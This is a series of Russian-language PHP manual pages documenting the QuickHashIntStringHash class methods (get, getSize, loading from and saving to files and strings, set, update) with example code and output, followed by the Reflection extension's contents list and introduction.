Метод извлекает значение из хеша по его ключу

  • « QuickHashIntStringHash::exists
  • QuickHashIntStringHash::getSize »
  • PHP Manual
  • QuickHashIntStringHash
  • Метод извлекает значение из хеша по его ключу

QuickHashIntStringHash::get

(PECL quickhash >= Unknown)

QuickHashIntStringHash::get — Метод извлекает значение из хеша по его ключу

Описание

public QuickHashIntStringHash::get(int $key): mixed

Метод извлекает значение из хеша по его ключу.

Список параметров

key

Ключ получаемой записи.

Возвращаемые значения

Метод возвращает значение, если ключ существует или null, если ключ не является частью хеша.

Примеры

Пример #1 Пример использования QuickHashIntStringHash::get()

<?php
$hash = new QuickHashIntStringHash( 8 );
var_dump( $hash->get( 1 ) );

var_dump( $hash->add( 2, "two" ) );
var_dump( $hash->get( 2 ) );

var_dump( $hash->add( 3, 5 ) );
var_dump( $hash->get( 3 ) );
?>

Вывод приведённого примера будет похож на:

bool(false)
bool(true)
string(3) "two"
bool(true)
string(1) "5"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество элементов в хеше

  • « QuickHashIntStringHash::get
  • QuickHashIntStringHash::loadFromFile »
  • PHP Manual
  • QuickHashIntStringHash
  • Возвращает количество элементов в хеше

QuickHashIntStringHash::getSize

(PECL quickhash >= Unknown)

QuickHashIntStringHash::getSize — Возвращает количество элементов в хеше

Описание

public QuickHashIntStringHash::getSize(): int

Возвращает количество элементов в хеше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество элементов в хеше.

Примеры

Пример #1 Пример использования QuickHashIntStringHash::getSize()

<?php
$hash = new QuickHashIntStringHash( 8 );
var_dump( $hash->add( 2, "two" ) );
var_dump( $hash->add( 3, 5 ) );
var_dump( $hash->getSize() );
?>

Вывод приведённого примера будет похож на:

bool(true)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


Фабричный метод создаёт хеш из файла

  • « QuickHashIntStringHash::getSize
  • QuickHashIntStringHash::loadFromString »
  • PHP Manual
  • QuickHashIntStringHash
  • Фабричный метод создаёт хеш из файла

QuickHashIntStringHash::loadFromFile

(PECL quickhash >= Unknown)

QuickHashIntStringHash::loadFromFile — Фабричный метод создаёт хеш из файла

Описание

public static QuickHashIntStringHash::loadFromFile(string $filename, int $size = 0, int $options = 0): QuickHashIntStringHash

Этот фабричный метод создаёт новый хеш из файла определения на диске. Формат файла состоит из сигнатуры 'QH\0x12\0', количества элементов в виде 32-битного целого числа со знаком в системном порядке байтов, затем 32-битных целых чисел со знаком, упакованных вместе в системный порядок байтов. Для каждого элемента хеша хранятся два 32-битных целых числа со знаком. Первое из них - ключ, а второе - значение, принадлежащее ключу. Примером может быть:

Пример #1 Формат файла QuickHash IntString

00000000  51 48 12 00 02 00 00 00  09 00 00 00 4f 4e 45 00  |QH..........ONE.|
00000010  4e 49 4e 45 00 01 00 00  00 00 00 00 00 03 00 00  |NINE............|
00000020  00 04 00 00 00                                    |.....|
00000025

Пример #2 Формат файла QuickHash IntString

header signature ('QH'; key type: 1; value type: 2; filler: \0x00)
00000000  51 48 12 00

number of elements:
00000004  02 00 00 00

length of string values (9 characters):
00000008  09 00 00 00

string values:
0000000C  4f 4e 45 00 4e 49 4e 45  00

data string:
00000015  01 00 00 00 00 00 00 00  03 00 00 00 04 00 00 00

key/value 1 (key = 1, string index = 0 ("ONE")):
01 00 00 00  00 00 00 00

key/value 2 (key = 3, string index = 4 ("NINE")):
03 00 00 00  04 00 00 00

Список параметров

filename

Имя файла, из которого нужно считать хеш.

size

Количество списков, которое необходимо настроить. Переданное число будет автоматически округлено до следующей степени числа 2. Оно также автоматически ограничивается от 4 до 4194304.

options

Те же параметры, которые принимает конструктор класса; за исключением того, что игнорируется параметр size. Он автоматически вычисляется как количество записей в хеше, округляется до ближайшей степени числа 2 с максимальным ограничением 4194304.

Возвращаемые значения

Возвращает новый объект QuickHashIntStringHash.

Примеры

Пример #3 Пример использования QuickHashIntStringHash::loadFromFile()

<?php
$file = dirname( __FILE__ ) . "/simple.string.hash";
$hash = QuickHashIntStringHash::loadFromFile(
$file,
QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
printf( "Ключ %3d (%2x) %s\n",
$key, $key,
$hash->exists( $key ) ? 'установлен' : 'не установлен'
);
}
?>

Вывод приведённого примера будет похож на:

Ключ   0 ( 0) не установлен
Ключ   1 ( 1) установлен
Ключ   2 ( 2) установлен
Ключ   3 ( 3) установлен
Ключ   4 ( 4) не установлен
Ключ   5 ( 5) установлен
Ключ   6 ( 6) не установлен
Ключ   7 ( 7) установлен
Ключ   8 ( 8) не установлен
Ключ   9 ( 9) не установлен
Ключ  10 ( a) не установлен
Ключ  11 ( b) установлен
Ключ  12 ( c) не установлен
Ключ  13 ( d) установлен
Ключ  14 ( e) не установлен
Ключ  15 ( f) не установлен

User Contributed Notes

There are no user contributed notes for this page.


Фабричный метод создаёт хеш из строки

  • « QuickHashIntStringHash::loadFromFile
  • QuickHashIntStringHash::saveToFile »
  • PHP Manual
  • QuickHashIntStringHash
  • Фабричный метод создаёт хеш из строки

QuickHashIntStringHash::loadFromString

(PECL quickhash >= Unknown)

QuickHashIntStringHash::loadFromString — Фабричный метод создаёт хеш из строки

Описание

public static QuickHashIntStringHash::loadFromString(string $contents, int $size = 0, int $options = 0): QuickHashIntStringHash

Этот фабричный метод создаёт новый хеш из определения в строке. Формат такой же, как и в QuickHashIntStringHash::loadFromFile().

Список параметров

contents

Строка, содержащая сериализованный формат хеша.

size

Количество списков, которое необходимо настроить. Передаваемое число будет автоматически округлено до следующей степени числа два. Оно также автоматически ограничивается от 4 до 4194304.

options

Те же параметры, которые принимает конструктор класса; за исключением того, что игнорируется параметр size. Он автоматически вычисляется как количество записей в хеше, округляется до ближайшей степени числа 2 с максимальным ограничением 4194304.

Возвращаемые значения

Возвращает новый объект QuickHashIntStringHash.

Примеры

Пример #1 Пример использования QuickHashIntStringHash::loadFromString()

<?php
$contents = file_get_contents( dirname( __FILE__ ) . "/simple.hash" );
$hash = QuickHashIntStringHash::loadFromString(
$contents,
QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
printf( "Ключ %3d (%2x) %s\n",
$key, $key,
$hash->exists( $key ) ? 'установлен' : 'не установлен'
);
}
?>

Вывод приведённого примера будет похож на:

Ключ   0 ( 0) не установлен
Ключ   1 ( 1) установлен
Ключ   2 ( 2) установлен
Ключ   3 ( 3) установлен
Ключ   4 ( 4) не установлен
Ключ   5 ( 5) установлен
Ключ   6 ( 6) не установлен
Ключ   7 ( 7) установлен
Ключ   8 ( 8) не установлен
Ключ   9 ( 9) не установлен
Ключ  10 ( a) не установлен
Ключ  11 ( b) установлен
Ключ  12 ( c) не установлен
Ключ  13 ( d) установлен
Ключ  14 ( e) не установлен
Ключ  15 ( f) не установлен

User Contributed Notes

There are no user contributed notes for this page.


Метод сохраняет хеш в памяти на диске

  • « QuickHashIntStringHash::loadFromString
  • QuickHashIntStringHash::saveToString »
  • PHP Manual
  • QuickHashIntStringHash
  • Метод сохраняет хеш в памяти на диске

QuickHashIntStringHash::saveToFile

(PECL quickhash >= Unknown)

QuickHashIntStringHash::saveToFile — Метод сохраняет хеш в памяти на диске

Описание

public QuickHashIntStringHash::saveToFile(string $filename): void

Метод сохраняет существующий хеш в файл на диске, в том же формате, который может быть прочитан методом QuickHashIntStringHash::loadFromFile().

Список параметров

filename

Имя файла, в котором будет храниться хеш.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования QuickHashIntStringHash::saveToFile()

<?php
$hash = new QuickHashIntStringHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, "сорок три" ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, "пятьдесят два" ) );

$hash->saveToFile( '/tmp/test.string.hash' );
?>

User Contributed Notes

There are no user contributed notes for this page.


Метод возвращает сериализованную версию хеша

  • « QuickHashIntStringHash::saveToFile
  • QuickHashIntStringHash::set »
  • PHP Manual
  • QuickHashIntStringHash
  • Метод возвращает сериализованную версию хеша

QuickHashIntStringHash::saveToString

(PECL quickhash >= Unknown)

QuickHashIntStringHash::saveToString — Метод возвращает сериализованную версию хеша

Описание

public QuickHashIntStringHash::saveToString(): string

Метод возвращает сериализованную версию хеша в том же формате, который может быть прочитан методом QuickHashIntStringHash::loadFromString().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает строку, содержащую сериализованную версию хеша. Каждый элемент хранится как четырёх байтовое значение в системном порядке байтов.

Примеры

Пример #1 Пример использования QuickHashIntStringHash::saveToString()

<?php
$hash = new QuickHashIntStringHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, "тридцать четыре" ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 5, "пятьдесят пять" ) );

var_dump( $hash->saveToString() );
?>

User Contributed Notes

There are no user contributed notes for this page.


Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует

  • « QuickHashIntStringHash::saveToString
  • QuickHashIntStringHash::update »
  • PHP Manual
  • QuickHashIntStringHash
  • Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует

QuickHashIntStringHash::set

(PECL quickhash >= Unknown)

QuickHashIntStringHash::set — Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует

Описание

public QuickHashIntStringHash::set(int $key, string $value): int

Метод пытается обновить запись новым значением. Если запись ещё не существует, то вместо этого добавляется новая запись. Возвращается информация о том, была ли запись добавлена или обновлена. Если есть дубликаты ключей, только первый найденный элемент получит обновлённое значение. Используйте константу QuickHashIntStringHash::CHECK_FOR_DUPES во время создания хеша, чтобы предотвратить попадание дублирующих ключей в хеш.

Список параметров

key

Ключ записи, которую нужно добавить или обновить.

value

Значение записи. Если передаётся нестроковое значение, оно будет автоматически преобразовано в строку, если это возможно.

Возвращаемые значения

Метод возвращает 2, если запись была найдена и обновлена, 1, если запись была добавлена или 0 в случае возникновения ошибки.

Примеры

Пример #1 Пример использования QuickHashIntStringHash::set()

<?php
$hash = new QuickHashIntStringHash( 1024 );

echo "Set->Add\n";
var_dump( $hash->get( 46692 ) );
var_dump( $hash->set( 46692, "шестнадцать тысяч девяносто один" ) );
var_dump( $hash->get( 46692 ) );

echo "Set->Update\n";
var_dump( $hash->set( 46692, "двадцать девять тысяч девятьсот шесть" ) );
var_dump( $hash->get( 46692 ) );
?>

Вывод приведённого примера будет похож на:

Set->Add
bool(false)
int(2)
string(27) "шестнадцать тысяч девяносто один"
Set->Update
int(1)
string(37) "двадцать девять тысяч девятьсот шесть"

User Contributed Notes

There are no user contributed notes for this page.


Метод обновляет запись в хеше новым значением

  • « QuickHashIntStringHash::set
  • Reflection »
  • PHP Manual
  • QuickHashIntStringHash
  • Метод обновляет запись в хеше новым значением

QuickHashIntStringHash::update

(PECL quickhash >= Unknown)

QuickHashIntStringHash::update — Метод обновляет запись в хеше новым значением

Описание

public QuickHashIntStringHash::update(int $key, string $value): bool

Метод обновляет запись новым значением и возвращает, была ли запись обновлена. Если есть дубликаты ключей, только первый найденный элемент получит обновлённое значение. Используйте константу QuickHashIntStringHash::CHECK_FOR_DUPES во время создания хеша, чтобы предотвратить попадание дублирующих ключей в хеш.

Список параметров

key

Ключ обновляемой записи.

value

Новое значение записи. Если передаётся нестроковое значение, оно будет автоматически преобразовано в строку, если это возможно.

Возвращаемые значения

Метод возвращает true, если запись была найдена и обновлена и false, если запись была не была частью хеша.

Примеры

Пример #1 Пример использования QuickHashIntStringHash::update()

<?php
$hash->add( 161803398, "--" );
$hash->add( 314159265, "множество" );

echo $hash->get( 161803398 ), "\n";
echo $hash->get( 314159265 ), "\n";

var_dump( $hash->update( 314159265, "множество плюс один" ) );
var_dump( $hash->update( 314159999, "множество плюс один" ) );

echo $hash->get( 161803398 ), "\n";
echo $hash->get( 314159265 ), "\n";
?>

Вывод приведённого примера будет похож на:

--
множество
bool(true)
bool(false)
--
множество плюс один

User Contributed Notes

There are no user contributed notes for this page.


Reflection

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Расширение
  • Reflection — Класс Reflection
    • Reflection::export — Экспортирует Reflection
    • Reflection::getModifierNames — Получение имён модификаторов
  • ReflectionClass — Класс ReflectionClass
    • ReflectionClass::__construct — Создаёт объект класса ReflectionClass
    • ReflectionClass::export — Экспортирует класс
    • ReflectionClass::getAttributes — Получает атрибуты
    • ReflectionClass::getConstant — Возвращает определённую константу
    • ReflectionClass::getConstants — Возвращает константы
    • ReflectionClass::getConstructor — Возвращает конструктор класса
    • ReflectionClass::getDefaultProperties — Возвращает свойства по умолчанию
    • ReflectionClass::getDocComment — Возвращает doc-блоки комментариев
    • ReflectionClass::getEndLine — Возвращает номер последней строки
    • ReflectionClass::getExtension — Возвращает объект класса ReflectionExtension для модуля, определяющего класс
    • ReflectionClass::getExtensionName — Возвращает имя модуля, определяющее класс
    • ReflectionClass::getFileName — Возвращает имя файла, в котором определён класс
    • ReflectionClass::getInterfaceNames — Возвращает имена интерфейсов
    • ReflectionClass::getInterfaces — Возвращает интерфейсы
    • ReflectionClass::getMethod — Возвращает экземпляр ReflectionMethod для метода класса
    • ReflectionClass::getMethods — Возвращает список методов в виде массива
    • ReflectionClass::getModifiers — Возвращает информацию о модификаторах класса
    • ReflectionClass::getName — Возвращает имя класса
    • ReflectionClass::getNamespaceName — Возвращает название пространства имён
    • ReflectionClass::getParentClass — Возвращает родительский класс
    • ReflectionClass::getProperties — Возвращает свойства
    • ReflectionClass::getProperty — Возвращает экземпляр ReflectionProperty для свойства класса
    • ReflectionClass::getReflectionConstant — Получает экземпляр класса ReflectionClassConstant для константы класса
    • ReflectionClass::getReflectionConstants — Получает константы класса
    • ReflectionClass::getShortName — Возвращает короткое имя
    • ReflectionClass::getStartLine — Возвращает номер начальной строки
    • ReflectionClass::getStaticProperties — Возвращает статические свойства
    • ReflectionClass::getStaticPropertyValue — Возвращает значение статического свойства
    • ReflectionClass::getTraitAliases — Возвращает массив псевдонимов трейтов
    • ReflectionClass::getTraitNames — Возвращает массив имён трейтов, используемых в этом классе
    • ReflectionClass::getTraits — Возвращает массив трейтов, используемых в этом классе
    • ReflectionClass::hasConstant — Проверяет, определена ли константа
    • ReflectionClass::hasMethod — Проверяет, задан ли метод
    • ReflectionClass::hasProperty — Проверяет, определено ли свойство
    • ReflectionClass::implementsInterface — Проверяет, реализуется ли интерфейс
    • ReflectionClass::inNamespace — Проверяет, определён ли класс в пространстве имён
    • ReflectionClass::isAbstract — Проверяет, является ли класс абстрактным
    • ReflectionClass::isAnonymous — Проверяет, является класс анонимным
    • ReflectionClass::isCloneable — Проверяет, можно ли клонировать этот класс
    • ReflectionClass::isEnum — Возвращает, является ли класс перечислением
    • ReflectionClass::isFinal — Проверяет, является ли класс окончательным (final)
    • ReflectionClass::isInstance — Проверяет, принадлежит ли объект классу
    • ReflectionClass::isInstantiable — Проверяет, можно ли создать экземпляр класса
    • ReflectionClass::isInterface — Проверяет, является ли класс интерфейсом
    • ReflectionClass::isInternal — Проверяет, является ли класс встроенным в модуль или в ядро
    • ReflectionClass::isIterable — Проверяет, итерируем ли класс
    • ReflectionClass::isIterateable — Псевдоним ReflectionClass::isIterable
    • ReflectionClass::isReadOnly — Проверяет, является ли класс доступным только для чтения
    • ReflectionClass::isSubclassOf — Проверяет, является ли класс подклассом
    • ReflectionClass::isTrait — Проверяет, является ли это трейтом
    • ReflectionClass::isUserDefined — Проверяет, является ли класс пользовательским
    • ReflectionClass::newInstance — Создаёт экземпляр класса с переданными аргументами
    • ReflectionClass::newInstanceArgs — Создаёт экземпляр класса с переданными параметрами
    • ReflectionClass::newInstanceWithoutConstructor — Создаёт новый экземпляр класса без вызова конструктора
    • ReflectionClass::setStaticPropertyValue — Устанавливает значение статического свойства
    • ReflectionClass::__toString — Возвращает строковое представление объекта класса ReflectionClass
  • ReflectionClassConstant — Класс ReflectionClassConstant
    • ReflectionClassConstant::__construct — Создаёт объект ReflectionClassConstant
    • ReflectionClassConstant::export — Экспортирует
    • ReflectionClassConstant::getAttributes — Получает атрибуты
    • ReflectionClassConstant::getDeclaringClass — Получает объявляющий класс
    • ReflectionClassConstant::getDocComment — Получает doc-комментарии
    • ReflectionClassConstant::getModifiers — Получает модификаторы константы класса
    • ReflectionClassConstant::getName — Получает имя константы
    • ReflectionClassConstant::getValue — Получает значение
    • ReflectionClassConstant::isEnumCase — Проверяет, является ли константа класса вариантом перечисления
    • ReflectionClassConstant::isFinal — Проверяет, является ли константа класса окончательной
    • ReflectionClassConstant::isPrivate — Проверяет, является ли константа закрытой
    • ReflectionClassConstant::isProtected — Проверяет, является ли константа защищённой
    • ReflectionClassConstant::isPublic — Проверяет, является ли константа общедоступной
    • ReflectionClassConstant::__toString — Возвращает строковое представление объекта ReflectionClassConstant
  • ReflectionEnum — Класс ReflectionEnum
    • ReflectionEnum::__construct — Создаёт объект ReflectionEnum
    • ReflectionEnum::getBackingType — Получает тип перечисления, если есть
    • ReflectionEnum::getCase — Возвращает определённый вариант перечисления
    • ReflectionEnum::getCases — Возвращает список всех вариантов перечисления
    • ReflectionEnum::hasCase — Проверяет вариант перечисления
    • ReflectionEnum::isBacked — Определяет, является ли перечисление типизированным
  • ReflectionEnumUnitCase — Класс ReflectionEnumUnitCase
    • ReflectionEnumUnitCase::__construct — Создаёт экземпляр объекта ReflectionEnumUnitCase
    • ReflectionEnumUnitCase::getEnum — Получает Reflection-объект перечисления этого варианта
    • ReflectionEnumUnitCase::getValue — Получает объект варианта перечисления, описанный Reflection-объектом
  • ReflectionEnumBackedCase — Класс ReflectionEnumBackedCase
    • ReflectionEnumBackedCase::__construct — Создаёт объект ReflectionEnumBackedCase
    • ReflectionEnumBackedCase::getBackingValue — Получает скалярное значение варианта перечисления
  • ReflectionZendExtension — Класс ReflectionZendExtension
    • ReflectionZendExtension::__clone — Обработчик клонирования
    • ReflectionZendExtension::__construct — Создаёт объект ReflectionZendExtension
    • ReflectionZendExtension::export — Экспорт
    • ReflectionZendExtension::getAuthor — Получает автора
    • ReflectionZendExtension::getCopyright — Получает авторские права
    • ReflectionZendExtension::getName — Получает имя
    • ReflectionZendExtension::getURL — Получает URL
    • ReflectionZendExtension::getVersion — Получает версию
    • ReflectionZendExtension::__toString — Обработчик преобразования в строку
  • ReflectionExtension — Класс ReflectionExtension
    • ReflectionExtension::__clone — Клонирует объект
    • ReflectionExtension::__construct — Создаёт объект класса ReflectionExtension
    • ReflectionExtension::export — Экспортирует модуль
    • ReflectionExtension::getClasses — Возвращает классы
    • ReflectionExtension::getClassNames — Получение имён классов
    • ReflectionExtension::getConstants — Получение констант
    • ReflectionExtension::getDependencies — Получение зависимостей
    • ReflectionExtension::getFunctions — Получение функций модуля
    • ReflectionExtension::getINIEntries — Получение ini-настроек модуля
    • ReflectionExtension::getName — Получение имени модуля
    • ReflectionExtension::getVersion — Получение версии модуля
    • ReflectionExtension::info — Вывод информации о модуле
    • ReflectionExtension::isPersistent — Определяет, является ли модуль постоянным
    • ReflectionExtension::isTemporary — Определяет, является ли модуль временным
    • ReflectionExtension::__toString — Преобразование в строку
  • ReflectionFunction — Класс ReflectionFunction
    • ReflectionFunction::__construct — Конструктор класса ReflectionFunction
    • ReflectionFunction::export — Экспортирует функции
    • ReflectionFunction::getClosure — Возвращает динамически созданное замыкание для функции
    • ReflectionFunction::invoke — Вызывает функцию
    • ReflectionFunction::invokeArgs — Вызов функции с передачей аргументов
    • ReflectionFunction::isAnonymous — Проверяет, является ли функция анонимной
    • ReflectionFunction::isDisabled — Проверяет, что функция отключена
    • ReflectionFunction::__toString — Возвращает строковое представление объекта ReflectionFunction
  • ReflectionFunctionAbstract — Класс ReflectionFunctionAbstract
    • ReflectionFunctionAbstract::__clone — Клонирует функцию
    • ReflectionFunctionAbstract::getAttributes — Получает атрибуты
    • ReflectionFunctionAbstract::getClosureScopeClass — Возвращает класс в рамках которого было объявлено замыкание
    • ReflectionFunctionAbstract::getClosureThis — Возвращает указатель, привязанный к замыканию
    • ReflectionFunctionAbstract::getClosureUsedVariables — Возвращает массив используемых в замыкании переменных
    • ReflectionFunctionAbstract::getDocComment — Получает doc-комментарий
    • ReflectionFunctionAbstract::getEndLine — Получает номер строки завершения описания функции
    • ReflectionFunctionAbstract::getExtension — Получает информацию о модуле
    • ReflectionFunctionAbstract::getExtensionName — Получение имени модуля
    • ReflectionFunctionAbstract::getFileName — Получает имя файла
    • ReflectionFunctionAbstract::getName — Получает имя функции
    • ReflectionFunctionAbstract::getNamespaceName — Получение имени пространства имён
    • ReflectionFunctionAbstract::getNumberOfParameters — Получает количество параметров
    • ReflectionFunctionAbstract::getNumberOfRequiredParameters — Получает количество обязательных параметров
    • ReflectionFunctionAbstract::getParameters — Получает параметры
    • ReflectionFunctionAbstract::getReturnType — Получает объявленный тип возвращаемого функцией значения
    • ReflectionFunctionAbstract::getShortName — Получает короткое имя функции
    • ReflectionFunctionAbstract::getStartLine — Получает начальный номер строки
    • ReflectionFunctionAbstract::getStaticVariables — Получает статические переменные
    • ReflectionFunctionAbstract::getTentativeReturnType — Возвращает предварительный тип возвращаемого значения, связанный с функцией
    • ReflectionFunctionAbstract::hasReturnType — Проверяет, имеет ли функция объявленный тип возвращаемого значения
    • ReflectionFunctionAbstract::hasTentativeReturnType — Определяет, есть ли у функции предварительный тип возвращаемого значения
    • ReflectionFunctionAbstract::inNamespace — Проверяет, находится ли функция в пространстве имён
    • ReflectionFunctionAbstract::isClosure — Проверяет, является ли функция замыканием (Closure)
    • ReflectionFunctionAbstract::isDeprecated — Проверяет, является ли функция устаревшей
    • ReflectionFunctionAbstract::isGenerator — Проверяет, является ли функция генератором
    • ReflectionFunctionAbstract::isInternal — Проверяет, является ли функция внутренней
    • ReflectionFunctionAbstract::isStatic — Проверяет, является ли функция статической
    • ReflectionFunctionAbstract::isUserDefined — Проверяет, является ли функция определённой пользователем
    • ReflectionFunctionAbstract::isVariadic — Проверяет, является ли функция функцией с переменным числом аргументов
    • ReflectionFunctionAbstract::returnsReference — Проверяет, что функция возвращает ссылку
    • ReflectionFunctionAbstract::__toString — Возвращает строковое представление объекта ReflectionFunctionAbstract
  • ReflectionMethod — Класс ReflectionMethod
    • ReflectionMethod::__construct — Конструктор класса ReflectionMethod
    • ReflectionMethod::createFromMethodName — Создаёт объект класса ReflectionMethod
    • ReflectionMethod::export — Экспорт отражённого метода
    • ReflectionMethod::getClosure — Возвращает динамически созданное замыкание для метода
    • ReflectionMethod::getDeclaringClass — Получает класс, объявляющий отражённый метод
    • ReflectionMethod::getModifiers — Получает модификаторы метода
    • ReflectionMethod::getPrototype — Получает прототип метода (если такой есть)
    • ReflectionMethod::hasPrototype — Определяет, есть ли у метода прототип
    • ReflectionMethod::invoke — Вызов
    • ReflectionMethod::invokeArgs — Вызов метода с передачей аргументов массивом
    • ReflectionMethod::isAbstract — Проверяет, является ли метод абстрактным
    • ReflectionMethod::isConstructor — Проверяет, является ли метод конструктором
    • ReflectionMethod::isDestructor — Проверяет, является ли метод деструктором
    • ReflectionMethod::isFinal — Проверяет, является ли метод окончательным
    • ReflectionMethod::isPrivate — Проверяет, является ли метод закрытым
    • ReflectionMethod::isProtected — Проверяет, является ли метод защищённым
    • ReflectionMethod::isPublic — Проверяет, является ли метод общедоступным
    • ReflectionMethod::setAccessible — Делает метод доступным
    • ReflectionMethod::__toString — Возвращает строковое представление объекта ReflectionMethod
  • ReflectionNamedType — Класс ReflectionNamedType
    • ReflectionNamedType::getName — Получает имя типа в виде строки
    • ReflectionNamedType::isBuiltin — Проверяет, является ли тип встроенным
  • ReflectionObject — Класс ReflectionObject
    • ReflectionObject::__construct — Конструктор класса ReflectionObject
    • ReflectionObject::export — Экспорт
  • ReflectionParameter — Класс ReflectionParameter
    • ReflectionParameter::allowsNull — Проверяет, допустимо ли значение null для параметра
    • ReflectionParameter::canBePassedByValue — Проверяет, можно ли передать этот аргумент по значению
    • ReflectionParameter::__clone — Клонирует
    • ReflectionParameter::__construct — Конструктор
    • ReflectionParameter::export — Экспорт
    • ReflectionParameter::getAttributes — Получает атрибуты
    • ReflectionParameter::getClass — Получает объект ReflectionClass для отражаемого параметра или null
    • ReflectionParameter::getDeclaringClass — Получение объявляющего класса
    • ReflectionParameter::getDeclaringFunction — Получение объявляющей функции
    • ReflectionParameter::getDefaultValue — Получение значения по умолчанию для параметра
    • ReflectionParameter::getDefaultValueConstantName — Возвращает имя константы значения по умолчанию, если значение по умолчанию константа или null
    • ReflectionParameter::getName — Получение имени параметра
    • ReflectionParameter::getPosition — Получение позиции параметра
    • ReflectionParameter::getType — Получает тип параметра
    • ReflectionParameter::hasType — Проверяет, указали ли тип параметра
    • ReflectionParameter::isArray — Проверяет, ожидает ли аргумент массив в качестве значения
    • ReflectionParameter::isCallable — Определяет, должен ли параметр принадлежать типу callable
    • ReflectionParameter::isDefaultValueAvailable — Проверяет, доступно ли значение по умолчанию
    • ReflectionParameter::isDefaultValueConstant — Определяет, установили ли параметру константу как значение по умолчанию
    • ReflectionParameter::isOptional — Проверяет, является ли аргумент необязательным
    • ReflectionParameter::isPassedByReference — Проверяет, передан ли параметр по ссылке
    • ReflectionParameter::isVariadic — Проверяет вариативность параметра
    • ReflectionParameter::__toString — Преобразование в строку
  • ReflectionProperty — Класс ReflectionProperty
    • ReflectionProperty::__clone — Клонирует
    • ReflectionProperty::__construct — Создаёт объект класса ReflectionProperty
    • ReflectionProperty::export — Экспортирует
    • ReflectionProperty::getAttributes — Получает атрибуты
    • ReflectionProperty::getDeclaringClass — Получает класс, в котором объявили свойство
    • ReflectionProperty::getDefaultValue — Возвращает значение по умолчанию, которое объявили для свойства
    • ReflectionProperty::getDocComment — Получает doc-комментарий свойства
    • ReflectionProperty::getModifiers — Получает модификаторы свойства
    • ReflectionProperty::getName — Получает имя свойства
    • ReflectionProperty::getType — Получает тип свойства
    • ReflectionProperty::getValue — Получает значение
    • ReflectionProperty::hasDefaultValue — Проверяет, задано ли для свойства значение по умолчанию
    • ReflectionProperty::hasType — Проверяет, есть ли у свойства тип
    • ReflectionProperty::isDefault — Проверяет, является ли значение свойством по умолчанию
    • ReflectionProperty::isInitialized — Проверяет, инициализировали ли свойство
    • ReflectionProperty::isPrivate — Проверяет, является ли свойство закрытым
    • ReflectionProperty::isPromoted — Проверяет, определено ли свойство в конструкторе
    • ReflectionProperty::isProtected — Проверяет, является ли свойство защищённым
    • ReflectionProperty::isPublic — Проверяет, является ли свойство общедоступным
    • ReflectionProperty::isReadOnly — Проверяет, является ли свойство readonly-свойством
    • ReflectionProperty::isStatic — Проверяет, определили ли свойство статическим
    • ReflectionProperty::setAccessible — Устанавливает доступность свойства
    • ReflectionProperty::setValue — Устанавливает значение свойству
    • ReflectionProperty::__toString — Преобразовывает в строку
  • ReflectionType — Класс ReflectionType
    • ReflectionType::allowsNull — Проверяет, допустим ли NULL
    • ReflectionType::__toString — Получает название типа параметра
  • ReflectionUnionType — Класс ReflectionUnionType
    • ReflectionUnionType::getTypes — Возвращает типы, включённые в тип union
  • ReflectionGenerator — Класс ReflectionGenerator
    • ReflectionGenerator::__construct — Конструктор ReflectionGenerator
    • ReflectionGenerator::getExecutingFile — Получает имя файла, из которого запустили генератор
    • ReflectionGenerator::getExecutingGenerator — Получает запущенный объект класса Generator
    • ReflectionGenerator::getExecutingLine — Получает текущую строку, которую выполняет генератор
    • ReflectionGenerator::getFunction — Получает имя функции генератора
    • ReflectionGenerator::getThis — Получает значение $this генератора
    • ReflectionGenerator::getTrace — Получает трассировку запущенного генератора
  • ReflectionFiber — Класс ReflectionFiber
    • ReflectionFiber::__construct — Создаёт объект ReflectionFiber
    • ReflectionFiber::getCallable — Получает вызываемый объект, используемый для создания файбера
    • ReflectionFiber::getExecutingFile — Получает имя файла текущей точки выполнения
    • ReflectionFiber::getExecutingLine — Получает номер строки текущей точки выполнения
    • ReflectionFiber::getFiber — Получает отражённый экземпляр файбера
    • ReflectionFiber::getTrace — Получает обратную трассировку текущей точки выполнения
  • ReflectionIntersectionType — Класс ReflectionIntersectionType
    • ReflectionIntersectionType::getTypes — Возвращает пересекающиеся типы
  • ReflectionReference — Класс ReflectionReference
    • ReflectionReference::__construct — Закрытый конструктор, запрещающий создание экземпляра напрямую
    • ReflectionReference::fromArrayElement — Создаёт ReflectionReference из элемента массива
    • ReflectionReference::getId — Получает уникальный идентификатор ссылки
  • ReflectionAttribute — Класс ReflectionAttribute
    • ReflectionAttribute::__construct — Закрытый конструктор, запрещающий создание объекта напрямую
    • ReflectionAttribute::getArguments — Возвращает аргументы, переданные атрибуту
    • ReflectionAttribute::getName — Возвращает имя атрибута
    • ReflectionAttribute::getTarget — Возвращает цель атрибута в виде битовой маски
    • ReflectionAttribute::isRepeated — Определяет, был ли атрибут с таким именем указан многократно в элементе кода
    • ReflectionAttribute::newInstance — Создаёт экземпляр класса атрибута, используя содержащиеся в объекте ReflectionAttribute имя класса и аргументы
  • Reflector — Интерфейс Reflector
    • Reflector::export — Экспорт
  • ReflectionException — Класс ReflectionException

User Contributed Notes

There are no user contributed notes for this page.


Введение

PHP включает в себя полноценный Reflection API, который предоставляет возможность проводить интроспекцию классов, интерфейсов, функций, методов и модулей. Кроме того, Reflection API позволяет получать doc-блоки комментариев функций, классов и методов.

Обратите внимание, что определённая часть внутреннего API не содержит кода, который необходим для работы модуля Reflection. Например, внутренний PHP-класс может не иметь reflection-данных для своих свойств. Однако это известные ошибки и впоследствии такие классы будут исправлены.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

